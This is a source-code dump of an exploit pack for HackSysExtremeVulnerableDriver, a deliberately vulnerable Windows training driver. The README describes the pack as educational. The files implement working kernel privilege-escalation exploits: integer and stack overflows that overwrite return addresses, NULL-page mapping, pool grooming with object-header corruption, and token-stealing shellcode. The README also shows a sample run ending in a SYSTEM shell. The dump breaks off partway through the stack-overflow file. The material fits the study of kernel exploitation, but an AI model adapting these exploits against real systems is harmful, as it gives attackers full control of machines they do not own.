59 | 		return SendIOCTL(ioctlCode, inputBuffer, inputSize, outputBuffer, outSize, writtenBytes, true);
60 | 	}
61 | 	
62 | 	HANDLE getRawDriverHandle() const {
63 | 		return (*driverHandle);
64 | 	}
65 | };
66 | 


--------------------------------------------------------------------------------
/HevdConstants.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <string>
 4 | #include <map>
 5 | 
 6 | enum IOCTL_CODES {
 7 | 	HACKSYS_EVD_IOCTL_STACK_OVERFLOW              	  = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS),
 8 | 	HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS               = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS),
 9 | 	HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS),
10 | 	HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS),
11 | 	HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS),
12 | 	HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS),
13 | 	HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS),
14 | 	HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS),
15 | 	HACKSYS_EVD_IOCTL_TYPE_CONFUSION                  = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS),
16 | 	HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW                = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS),
17 | 	HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE        = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS),
18 | 	HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE    = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS),
19 | 	HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS),
20 | 	HACKSYS_EVD_IOCTL_DOUBLE_FETCH                    = CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_NEITHER, FILE_ANY_ACCESS)
21 | };
22 | 
23 | 


--------------------------------------------------------------------------------
/IExploit.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include <string>
 4 | #include "Driver.h"
 5 | 
 6 | class IExploit {
 7 | protected:
 8 | 	static const wchar_t* Exploit_Name;
 9 | 	static const DWORD Ioctl_Code;
10 | 	Driver& driver;
11 | 	
12 | public:
13 | 	IExploit(Driver& driver) : driver(driver) {}
14 | 	//virtual ~IExploit() = 0;
15 | 	
16 | 	virtual const wchar_t* getName() const = 0;
17 | 	virtual DWORD getIoctlCode() const = 0;
18 | 	
19 | 	virtual bool exploit() = 0;
20 | };
21 | 
22 | 


--------------------------------------------------------------------------------
/IntegerOverflow.cpp:
--------------------------------------------------------------------------------
 1 | #include "IntegerOverflow.h"
 2 | 
 3 | bool 
 4 | ExploitIntegerOverflow::exploit() {
 5 | 	
 6 | 	static const size_t Buffer_End_Magic_Marker = 0x0BAD0B0B0;
 7 | 	static const size_t Actual_Buffer_Size = 0x0000FFFF;
 8 | 	static const size_t Declared_Input_Buffer_Size = 0xFFFFFFFF;
 9 | 
10 | 	shared_ptr<UCHAR> buffer = shared_ptr<UCHAR>(new UCHAR[Actual_Buffer_Size]);
11 | 	
12 | 	if(!buffer) {
13 | 		wcerr << L"[!] Could not allocate buffer of size: 0x" 
14 | 			<< hex << setw(8) << setfill(L'0') << Actual_Buffer_Size << endl;
15 | 		return false;
16 | 	}
17 | 	
18 | 	memset(buffer.get(), 'A', Actual_Buffer_Size);
19 | 
20 | 	static const size_t Return_Address_Overwrite_Index = 0x828;
21 | 	auto shellcodePtr = adjustPayloadEpilogue(8, true);
22 | 
23 | 	*(reinterpret_cast<void **>(&buffer.get()[Return_Address_Overwrite_Index])) = *shellcodePtr;
24 | 	*(reinterpret_cast<size_t*>(&buffer.get()[Return_Address_Overwrite_Index + 4])) = \
25 | 		Buffer_End_Magic_Marker;
26 | 		
27 | 	bool ret = driver.SendIOCTL (
28 | 		ExploitIntegerOverflow::Ioctl_Code,
29 | 		buffer.get(),
30 | 		Declared_Input_Buffer_Size
31 | 	);
32 | 	
33 | 	return ret;
34 | }
35 | 


--------------------------------------------------------------------------------
/IntegerOverflow.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitIntegerOverflow : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name 	= L"Integer Overflow";
 9 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW;
10 | 	
11 | public:
12 | 	ExploitIntegerOverflow(Driver& driver) : IExploit(driver) {}
13 | 	virtual ~ExploitIntegerOverflow() {	}
14 | 	
15 | 	virtual const wchar_t* getName() const { 
16 | 		return ExploitIntegerOverflow::Exploit_Name;
17 | 	};
18 | 	
19 | 	virtual DWORD getIoctlCode() const {
20 | 		return ExploitIntegerOverflow::Ioctl_Code;
21 | 	}
22 | 	
23 | 	virtual bool exploit();
24 | };
25 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                     GNU GENERAL PUBLIC LICENSE
  2 |                        Version 3, 29 June 2007
  3 | 
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675 | 


--------------------------------------------------------------------------------
/NullPointerDereference.cpp:
--------------------------------------------------------------------------------
 1 | #include "NullPointerDereference.h"
 2 | 
 3 | bool 
 4 | ExploitNullPointerDereference::exploit() {
 5 | 	
 6 | 	struct NullPtrObject {
 7 | 		DWORD someValue;
 8 | 		PVOID callback;
 9 | 	};
10 | 	
11 | 	NullPtrObject obj {
12 | 		// Must be the magic value
13 | 		0xDEADBEEF, //Uninitialized_Magic_Value,
14 | 		
15 | 		// Doesn't matter, Null page will be dereferenced after all
16 | 		reinterpret_cast<PVOID>(0xDEADBEEF)
17 | 	};
18 | 	
19 | 	// NULL memory page address is obviously 0 address.
20 | 	const PULONG nullMemoryPage = reinterpret_cast<PULONG>(0x00000000);
21 | 	
22 | 	// We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing
23 | 	// 0x1 will suffice as it gets rounded down to 0 anyway.
24 | 	const PVOID baseAddress 	= reinterpret_cast<PVOID >(0x00000001);
25 | 	
26 | 	// Address of the payload within user-mode memory.
27 | 	const PVOID payloadAddress 	= reinterpret_cast<PVOID >(0x00000008);
28 | 	
29 | 	// Any value in range <1, 0x1000> will be rounded-up to the 0x1000.
30 | 	const ULONG regionSize = 0x1000;
31 | 	
32 | 	
33 | 	/**
34 | 	 * Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the 
35 | 	 * allocation is less than 0x00001000, we will have to use another approach to allocate this memory
36 | 	 * page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not
37 | 	 * holds the same restriction, as the aforementioned two functions.
38 | 	**/
39 | 		
40 | 	wcout << L"[.] Mapping NULL memory page..." << endl;
41 | 	
42 | 	typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
43 | 	NtAllocateVirtualMemory  = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
44 | 		GetModuleHandleW(L"ntdll.dll"), 
45 | 		"NtAllocateVirtualMemory"
46 | 	));
47 | 	
48 | 	// NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is
49 | 	// possible to allocate that specific memory page.
50 | 	NTSTATUS stat = NtAllocateVirtualMemory (
51 | 		reinterpret_cast<HANDLE>(0xffffffff),
52 | 		&baseAddress,
53 | 		0,
54 | 		const_cast<PULONG>(&regionSize),
55 | 		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
56 | 		PAGE_EXECUTE_READWRITE
57 | 	);
58 | 
59 | 	if(!NT_SUCCESS(stat)) {
60 | 		wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex 
61 | 			<< setw(8) << setfill(L'0') << stat << endl;
62 | 		return false;
63 | 	}
64 | 	
65 | 	try {
66 | 		NullPtrObject* objPtr = reinterpret_cast<NullPtrObject*>(nullMemoryPage);
67 | 		
68 | 		// NULL memory page reference in order to set it up for the exploit.
69 | 		// PS: We are *writing* to the address 0x00000004 in System's memory.
70 | 		objPtr->callback = reinterpret_cast<PVOID>(payloadAddress);
71 | 		
72 | 		auto shellcodePtr = adjustPayloadEpilogue(0);
73 | 		memcpy(
74 | 			payloadAddress,
75 | 			*shellcodePtr,
76 | 			tokenStealingPayloadSize
77 | 		);
78 | 	
79 | 	} catch(...) {
80 | 		wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation." 
81 | 			<< "\tThis means we were not able to map that memory page. Exploit failure." << endl;
82 | 		return false;
83 | 	}
84 | 	
85 | 	wcout << L"[+] NULL memory page successfully mapped & initialized." << endl;
86 | 	
87 | 	bool ret = driver.SendIOCTL (
88 | 		ExploitNullPointerDereference::Ioctl_Code,
89 | 		&obj,
90 | 		sizeof(NullPtrObject)
91 | 	);
92 | 	
93 | 	return ret;
94 | }
95 | 
96 | 


--------------------------------------------------------------------------------
/NullPointerDereference.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitNullPointerDereference : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name 	= L"Null Pointer Dereference";
 9 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE;
10 | 	
11 | public:
12 | 	ExploitNullPointerDereference(Driver& driver) : IExploit(driver) {}
13 | 	virtual ~ExploitNullPointerDereference() {	}
14 | 	
15 | 	virtual const wchar_t* getName() const { 
16 | 		return ExploitNullPointerDereference::Exploit_Name;
17 | 	};
18 | 	
19 | 	virtual DWORD getIoctlCode() const {
20 | 		return ExploitNullPointerDereference::Ioctl_Code;
21 | 	}
22 | 	
23 | 	virtual bool exploit();
24 | 
25 | };
26 | 


--------------------------------------------------------------------------------
/PoolCorruption.cpp:
--------------------------------------------------------------------------------
  1 | #include "PoolCorruption.h"
  2 | 
  3 | bool 
  4 | ExploitPoolCorruption::exploit() {
  5 | 	
  6 | 	static const size_t Max_Buffer_Size = 504;
  7 | 	
  8 | 	static const size_t Buffer_Size_With_Overflow = 
  9 | 		Max_Buffer_Size + sizeof(POOL_HEADER) + sizeof(OBJECT_HEADER_QUOTA) + sizeof(OBJECT_HEADER);
 10 | 	
 11 | 	m_handles.reset(new HANDLE[ExploitPoolCorruption::Max_Number_Of_Objects]);
 12 | 	if(!m_handles) {
 13 | 		throw bad_alloc();
 14 | 	}
 15 | 		
 16 | 	memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects);
 17 | 
 18 | 	wcout << L"[+] Step 1: Performing kernel pool grooming..." << endl;
 19 | 	if(!derandomizePool()) {
 20 | 		return false;
 21 | 	}
 22 | 	
 23 | 	wcout << L"[+] Step 2: Allocating NULL page and setting fake OBJECT_TYPE" << endl;
 24 | 	
 25 | 	auto shellcodePtr = adjustPayloadEpilogue(16);
 26 | 	if(!setFakeObjectType(*shellcodePtr)) {
 27 | 		return false;
 28 | 	}
 29 | 	
 30 | 	
 31 | 	wcout << L"[+] Step 3: Crafting DKOHM attack against Event's Object Header" << endl;
 32 | 	
 33 | 	// Overflowing buffer
 34 | 	UCHAR buffer[Buffer_Size_With_Overflow];
 35 | 	memset(buffer, 0x41, sizeof(Max_Buffer_Size));
 36 | 	
 37 | 	// Structure pointers
 38 | 	PPOOL_HEADER poolHeader = reinterpret_cast<PPOOL_HEADER>(&buffer[Max_Buffer_Size]);
 39 | 	
 40 | 	POBJECT_HEADER_QUOTA objectHeaderQuota = reinterpret_cast<POBJECT_HEADER_QUOTA>(
 41 | 		&buffer[Max_Buffer_Size + sizeof(POOL_HEADER)]
 42 | 	);
 43 | 	
 44 | 	POBJECT_HEADER objectHeader = reinterpret_cast<POBJECT_HEADER>(
 45 | 		&buffer[Max_Buffer_Size + sizeof(POOL_HEADER) + sizeof(OBJECT_HEADER_QUOTA)]
 46 | 	);
 47 | 	
 48 | 	// Faking corrupted POOL_HEADER of the overflowed following chunk which should contain
 49 | 	// Event's object.
 50 | 	poolHeader->PreviousSize = 0x40;
 51 | 	poolHeader->PoolIndex = 0;
 52 | 	poolHeader->BlockSize = 0x08;
 53 | 	poolHeader->PoolType = 0x02;
 54 | 	poolHeader->PoolTag = 0xee657645;	// 'Even'
 55 | 	
 56 | 	objectHeaderQuota->PagedPoolCharge = 0;
 57 | 	objectHeaderQuota->NonPagedPoolCharge = 0x40;
 58 | 	objectHeaderQuota->SecurityDescriptorCharge = 0;
 59 | 	objectHeaderQuota->SecurityDescriptorQuotaBlock = 0;
 60 | 	
 61 | 	objectHeader->PointerCount = 1;
 62 | 	objectHeader->HandleCount = 1;
 63 | 	objectHeader->Lock = nullptr;
 64 | 	objectHeader->TypeIndex = 0;		// The most essential overwrite! From 0x0c to 0x00
 65 | 
 66 | 	wcout << L"[+] Step 4: Launching the IOCTL..." << endl;
 67 | 	
 68 | 	bool ret = driver.SendIOCTL (
 69 | 		ExploitPoolCorruption::Ioctl_Code,
 70 | 		buffer,
 71 | 		Buffer_Size_With_Overflow
 72 | 	);
 73 | 	
 74 | 	wcout << L"[+] Step 5: Closing rest of the handles, the shellcode kicks in within a sec." << endl;
 75 | 	handlesCleanup();
 76 | 	return ret;
 77 | }
 78 | 
 79 | bool 
 80 | ExploitPoolCorruption::derandomizePool() {
 81 | 
 82 | 	wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects 
 83 | 		<< L" event kernel objects in NonPagedPool..." << endl;
 84 | 		
 85 | 	for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) {
 86 | 		
 87 | 		m_handles.get()[i] = CreateEventW(
 88 | 			nullptr,
 89 | 			false,
 90 | 			false,
 91 | 			nullptr
 92 | 		);
 93 | 		
 94 | 		if(m_handles.get()[i] == (HANDLE)INVALID_HANDLE_VALUE) {
 95 | 			wcout << L"[!] " << dec << i << L". CreateEventW failed, error: " << GetLastError() << endl;
 96 | 			return false;
 97 | 		}
 98 | 	}
 99 | 	
100 | 	wcout << L"\t* Freeing objects to create 0x200 pool holes..." << endl;
101 | 		
102 | 	for(size_t i = (Max_Number_Of_Objects / 2); 
103 | 		i < (Max_Number_Of_Objects); 
104 | 		i += 16
105 | 	) {
106 | 		for(size_t j = 0; j < 8; j++) {
107 | 			CloseHandle(m_handles.get()[i + j]);
108 | 			m_handles.get()[i + j] = INVALID_HANDLE_VALUE;	
109 | 		}
110 | 	}
111 | 
112 | 	return true;	
113 | }
114 | 
115 | bool
116 | ExploitPoolCorruption::setFakeObjectType(void *shellcodeAddress) {
117 | 	
118 | 	// NULL memory page address is obviously 0 address.
119 | 	const PULONG nullMemoryPage = reinterpret_cast<PULONG>(0x00000000);
120 | 	
121 | 	// We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing
122 | 	// 0x1 will suffice as it gets rounded down to 0 anyway.
123 | 	const PVOID baseAddress 	= reinterpret_cast<PVOID >(0x00000001);
124 | 
125 | 	// Any value in range <1, 0x1000> will be rounded-up to the 0x1000.
126 | 	const ULONG regionSize = 0x1000;
127 | 	
128 | 	
129 | 	/**
130 | 	 * Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the 
131 | 	 * allocation is less than 0x00001000, we will have to use another approach to allocate this memory
132 | 	 * page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not
133 | 	 * holds the same restriction, as the aforementioned two functions.
134 | 	**/
135 | 		
136 | 	wcout << L"\t* Mapping NULL memory page..." << endl;
137 | 	
138 | 	typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
139 | 	NtAllocateVirtualMemory  = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
140 | 		GetModuleHandleW(L"ntdll.dll"), 
141 | 		"NtAllocateVirtualMemory"
142 | 	));
143 | 	
144 | 	// NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is
145 | 	// possible to allocate that specific memory page.
146 | 	NTSTATUS stat = NtAllocateVirtualMemory (
147 | 		reinterpret_cast<HANDLE>(0xffffffff),
148 | 		&baseAddress,
149 | 		0,
150 | 		const_cast<PULONG>(&regionSize),
151 | 		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
152 | 		PAGE_EXECUTE_READWRITE
153 | 	);
154 | 
155 | 	if(!NT_SUCCESS(stat)) {
156 | 		wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex 
157 | 			<< setw(8) << setfill(L'0') << stat << endl;
158 | 		return false;
159 | 	}
160 | 	
161 | 	try {
162 | 		unsigned char *fakeObjectType = reinterpret_cast<unsigned char*>(nullMemoryPage);
163 | 				
164 | 		*(reinterpret_cast<DWORD*>(
165 | 			&fakeObjectType[ OFFSET_OBJECT_TYPE_TYPE_INDEX + OFFSET_OBJECT_TYPE_INITIALIZER_OKAY_TO_CLOSE]
166 | 		)) = reinterpret_cast<DWORD>(shellcodeAddress);
167 | 		
168 | 		wcout << L"\t* nt!ObTypeIndexTable[0].TypeInfo.OkayToCloseProcedure := " << shellcodeAddress << endl;
169 | 	
170 | 	} catch(...) {
171 | 		wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation." 
172 | 			<< "\tThis means we were not able to map that memory page. Exploit failure." << endl;
173 | 		return false;
174 | 	}
175 | 	
176 | 	return true;
177 | }
178 | 


--------------------------------------------------------------------------------
/PoolCorruption.h:
--------------------------------------------------------------------------------
  1 | #pragma once
  2 | 
  3 | #include "common.h"
  4 | #include "IExploit.h"
  5 | #include "HevdConstants.h"
  6 | 
  7 | 
  8 | //
  9 | // Structs for the Windows 7 x86 Enterprise, SP1 7601, English version.
 10 | //
 11 | 
 12 | // offset of nt!_OBJECT_TYPE.TypeIndex
 13 | #define OFFSET_OBJECT_TYPE_TYPE_INDEX 0x28
 14 | 
 15 | // offset of nt!_OBJECT_TYPE_INITIALIZER.OkayToCloseProcedure
 16 | #define OFFSET_OBJECT_TYPE_INITIALIZER_OKAY_TO_CLOSE 0x4c
 17 | 
 18 | // The epilogue for the payload returning for this call should be 
 19 | // capable of returning with popping 16 bytes:
 20 | //		ret 0x10
 21 | typedef BYTE (*OkayToCloseCallback)(
 22 | 	/*PEPROCESS*/ void*,
 23 | 	PVOID,
 24 | 	HANDLE,
 25 | 	/*KPROCESSOR_MODE*/ void*
 26 | );
 27 | 
 28 | typedef struct _POOL_HEADER {
 29 | 	
 30 | 	union {
 31 | 		struct {
 32 | 			unsigned long PreviousSize : 9;
 33 | 			unsigned long PoolIndex : 7;
 34 | 			unsigned long BlockSize : 9;
 35 | 			unsigned long PoolType : 7;
 36 | 		};
 37 | 		unsigned long Ulong1;
 38 | 	};
 39 | 	
 40 | 	unsigned long PoolTag;
 41 | 	
 42 | } POOL_HEADER, *PPOOL_HEADER;
 43 | 
 44 | 
 45 | typedef struct _OBJECT_HEADER {
 46 | 	
 47 | 	unsigned long PointerCount;
 48 | 	union {
 49 | 		unsigned long HandleCount;
 50 | 		void *NextToFree;
 51 | 	};
 52 | 	
 53 | 	void* Lock;
 54 | 	unsigned long TypeIndex;
 55 | 	// ...
 56 | } OBJECT_HEADER, *POBJECT_HEADER;
 57 | 
 58 | 
 59 | typedef struct _OBJECT_HEADER_QUOTA {
 60 | 	
 61 | 	unsigned long PagedPoolCharge;
 62 | 	unsigned long NonPagedPoolCharge;
 63 | 	unsigned long SecurityDescriptorCharge;
 64 | 	unsigned long SecurityDescriptorQuotaBlock;
 65 | 	
 66 | } OBJECT_HEADER_QUOTA, *POBJECT_HEADER_QUOTA;
 67 | 
 68 | 
 69 | 
 70 | class ExploitPoolCorruption : public IExploit {
 71 | 	
 72 | 	static constexpr wchar_t *Exploit_Name 			= L"Pool Corruption";
 73 | 	static constexpr DWORD Ioctl_Code				= HACKSYS_EVD_IOCTL_POOL_OVERFLOW;
 74 | 	
 75 | 	static constexpr size_t Max_Number_Of_Objects 	= 10000;
 76 | 
 77 | 	unique_ptr<HANDLE[]> m_handles;
 78 | 	bool m_afterCleanup;
 79 | 	
 80 | public:
 81 | 	ExploitPoolCorruption(Driver& driver) : IExploit(driver) {
 82 | 		m_afterCleanup = false;
 83 | 	}
 84 | 	
 85 | 	virtual ~ExploitPoolCorruption() { 
 86 | 		handlesCleanup();
 87 | 	}
 88 | 	
 89 | 	virtual const wchar_t* getName() const { 
 90 | 		return ExploitPoolCorruption::Exploit_Name;
 91 | 	};
 92 | 	
 93 | 	virtual DWORD getIoctlCode() const {
 94 | 		return ExploitPoolCorruption::Ioctl_Code;
 95 | 	}
 96 | 	
 97 | 	virtual bool exploit();
 98 | 		
 99 | private:
100 | 	
101 | 	bool derandomizePool();
102 | 	bool setFakeObjectType(void *shellcodeAddress);
103 | 	
104 | 	void handlesCleanup() {
105 | 		if(!m_afterCleanup && m_handles.get() != nullptr) {		
106 | 			for(size_t i = 0; i < Max_Number_Of_Objects; i++) {
107 | 				if(m_handles.get()[i] != INVALID_HANDLE_VALUE) {
108 | 					CloseHandle(m_handles.get()[i]);
109 | 				}
110 | 			}
111 | 			
112 | 			m_afterCleanup = true;
113 | 		}
114 | 	}
115 | };
116 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
  1 | ### HEVD_Kernel_Exploit
  2 | 
  3 | My [HackSysExtremeVulnerableDriver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver) exploits pack for education purposes developed under **Windows 7 x86 SP1**. The x86 version of this exploit does not bypass SMEP.
  4 | 
  5 | Although, in the **x64** directory - some sample x64 exploits against HEVD are released that might need to employ SMEP bypasses.
  6 | 
  7 | One thing to note - the kernel payload that has been used is a single asm naked function, albeit it is from exploit to exploit being copied to dynamically allocated RWX buffers and then in an unelegant way patched to conform specific call stack needs (in one exploit leaving `pop ebp` in other patching it out with `nops`, in one leaving `ret $8` while in other sticking to `retn`). I know this is a mess, but I never bothered to make couple of naked functions with one or two epilogues varying for this issue.
  8 | 
  9 | 
 10 | ---
 11 | ### Working at the moment
 12 | 
 13 | Out of 12 vulnerabilities placed in HEVD, there are at the moment following exploits implemented:
 14 | 
 15 | **x86**:
 16 | * _Stack Overflow_
 17 | * _Arbitrary Memory Overwrite_
 18 | * _NULL Pointer Dereference_
 19 | * _Integer Overflow_
 20 | * _Type Confusion_
 21 | * _Uninitialized Stack Variable_
 22 | * _Uninitialized Heap Variable_
 23 | * _Use After Free_
 24 | * _Pool Overflow_
 25 | * _Stack Overflow GS_
 26 | * _Double Fetch_
 27 | 
 28 | **x64**:
 29 | * _Stack Overflow_
 30 | * _Arbitrary Memory Overwrite_ via GDI SURFACE objects abuse
 31 | 
 32 | Found to be working stable.
 33 | 
 34 | 
 35 | ---
 36 | ### Example:
 37 | 
 38 | ```
 39 |         HackSysExtremeVulnerableDriver
 40 |         Local Privilege Escalation exploit's pack'
 41 |         Mariusz Banach / mgeeky, '17
 42 | 
 43 | [+] Found hevd.sys driver's base: 0x90b36000
 44 | [+] Opened HackSysExtremeVulnerableDriver driver's handle.
 45 | [?] Kernel shellcode in user-memory at: 0x0040676f (size: 81 bytes).
 46 | 
 47 | --------------------------------
 48 | [01] Stack Overflow, IOCTL code: 0x00222003
 49 | [02] Arbitrary Memory Overwrite / Write-What-Where, IOCTL code: 0x0022200b
 50 | [03] Null Pointer Dereference, IOCTL code: 0x0022202b
 51 | [04] Integer Overflow, IOCTL code: 0x00222027
 52 | [05] Type Confusion, IOCTL code: 0x00222023
 53 | [06] Uninitialized Stack Variable, IOCTL code: 0x0022202f
 54 | [07] Uninitialized Heap Variable, IOCTL code: 0x00222033
 55 | [08] Use After Free, IOCTL code: 0x00222013
 56 | [09] Pool Corruption, IOCTL code: 0x0022200f
 57 | [10] Stack Overflow GS, IOCTL code: 0x0022007
 58 | [11] Double Fetch, IOCTL code: 0x00222037
 59 | [99] Exit.
 60 | 
 61 | [..] Select an exploit to launch against HEVD.SYS (or 99 to exit): 2
 62 | 
 63 | --------------------------------
 64 | [.] Loading ntkrnlpa.exe
 65 | [.] Determining HalDispatchTable symbol's offset...
 66 | [.] Custom kernel shellcode will now be located at: 0x0x3e0000
 67 | [.] Adjusting the kernel payload to make it ret 0x08
 68 | [.] Constructed custom payload capable of restoring overwritten pointer.
 69 | [.] Freeing memory allocated for the kernel payload.
 70 | [+] `hal!HalDispatchTable+4` is located at: 0x82966404
 71 | [+] Arbitrary Overwrite:
 72 |         - Where: 0x82966404 (hal!HaliQuerySystemInformation)
 73 |         - What: 0x3f0000 (address of shellcode in user space memory)
 74 | 
 75 | [+] Issuing IOCTL: HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE
 76 | [.] Input buffer: 0x0x22fd7c, size: 8 bytes. Output: 0x0
 77 | [>] After sending IOCTL. ret: TRUE, last error: 0, written bytes: 0
 78 | 
 79 | [.] Invoking overwritten pointer by calling `NtQueryIntervalProfile`
 80 | [.] Exploit has been launched without errors.
 81 | [.] Exploit success check: Current user: (SYSTEM), expected: (SYSTEM)
 82 | [+] Succeeded. Enjoy your SYSTEM! :-)
 83 | 
 84 | --------------------------------
 85 | 
 86 | Microsoft Windows [Version 6.1.7601]
 87 | Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 88 | 
 89 | C:\Users\IEUser\Desktop>
 90 | ```
 91 | 
 92 | 
 93 | ---
 94 | ### TODO:
 95 | 
 96 | - Last exploit: _Insecure Kernel Resource Access_
 97 | - Refactor the code to be a bit more readable and C++ friendly (especially to use some of C++17 features)
 98 | - `s/system/CreateProcess`
 99 | - move exploit files to a separate directory and modify `#include`s
100 | - Add `argv` parsing
101 | - Replace the shellcode to a more stable, dynamically resolved one using Kernel APIs to duplicate system token
102 | - Add some x64 exploit variants for the already implemented ones (like _Arbitrary Overwrite_)
103 | - Add SMEP bypass using ROP/or Page Tables manipulation
104 | - Add some variations of the already implemented exploits using different vectors - like `SuspendApc` for Write-What-Where
105 | - Add custom command execution from within user input or `argv`
106 | 
107 | 
108 | ---
109 | ### KNOWN BUGS:
110 | 
111 | - **Stack Overflow GS** exploit is causing parent process to deadlock because of locked driver's handle object upon `ZwTerminateProcess`. To overcome this issue, we'll have to zero-out that object: `((nt!_HANDLE_TABLE_ENTRY*)((nt!_HANDLE_TABLE*)EPROCESS.ObjectTable.TableCode)[hDriver * 2]).Object = 0`
112 | 
113 | 
114 | ---
115 | 
116 | ### ☕ Show Support ☕
117 | 
118 | This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
119 | [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 
120 | 
121 | ---
122 | 
123 | ## Author
124 | 
125 | ```   
126 |    Mariusz Banach / mgeeky, 21
127 |    <mb [at] binary-offensive.com>
128 |    (https://github.com/mgeeky)
129 | ```
130 | 


--------------------------------------------------------------------------------
/StackOverflow.cpp:
--------------------------------------------------------------------------------
 1 | #include "StackOverflow.h"
 2 | 
 3 | bool 
 4 | ExploitStackOverflow::exploit() {
 5 | 	
 6 | 	static const size_t Buffer_Size = 2084;
 7 | 	static const size_t EIP_Overwrite_Offset = 2080;
 8 | 	
 9 | 	/*
10 | 	 * This won't work since Windows 8.0 / Intel Ivy Bridge (those after 2011: i3, i5, i7, and so on)
11 | 	 * processors due to CR4.SMEP (Supervisor Mode Execution Prevention) feature preventing
12 | 	 * Ring0 code executing code located within user-mode memory pages. 
13 | 	 * Can be bypassed in the following ways:
14 | 	 *		- Return Oriented Programming
15 | 	 *		- modifying nt!MmUserProbeAddress (equivalent of addr_limit with ULONG_MAX on Linux)
16 | 	 *		- using Reserve Objects of Windows 7, allocate, execute user-controlled 16 bytes to 
17 | 	 *			clear-out the CR4.SMEP bit and then jump to the payload in user-mode memory.
18 | 	 *		- jumping to Kernel Heap on x86
19 | 	 - 		- 
20 | 	**/
21 | 	auto shellcodePointer = adjustPayloadEpilogue(8, true);
22 | 	
23 | 	shared_ptr<UCHAR> buffer(
24 | 		new UCHAR[Buffer_Size]
25 | 	);
26 | 	
27 | 	if(!buffer) {
28 | 		wcerr << L"[!] Could not allocate buffer for input payload." << endl;
29 | 		return false;
30 | 	}
31 | 	
32 | 	memset(buffer.get(), 'A', Buffer_Size);
33 | 
34 | 	*(reinterpret_cast<DWORD*>(&buffer.get()[EIP_Overwrite_Offset])) = 
35 | 		reinterpret_cast<DWORD>(*shellcodePointer);
36 | 	
37 | 	bool ret = driver.SendIOCTL (
38 | 		ExploitStackOverflow::Ioctl_Code,
39 | 		buffer.get(),
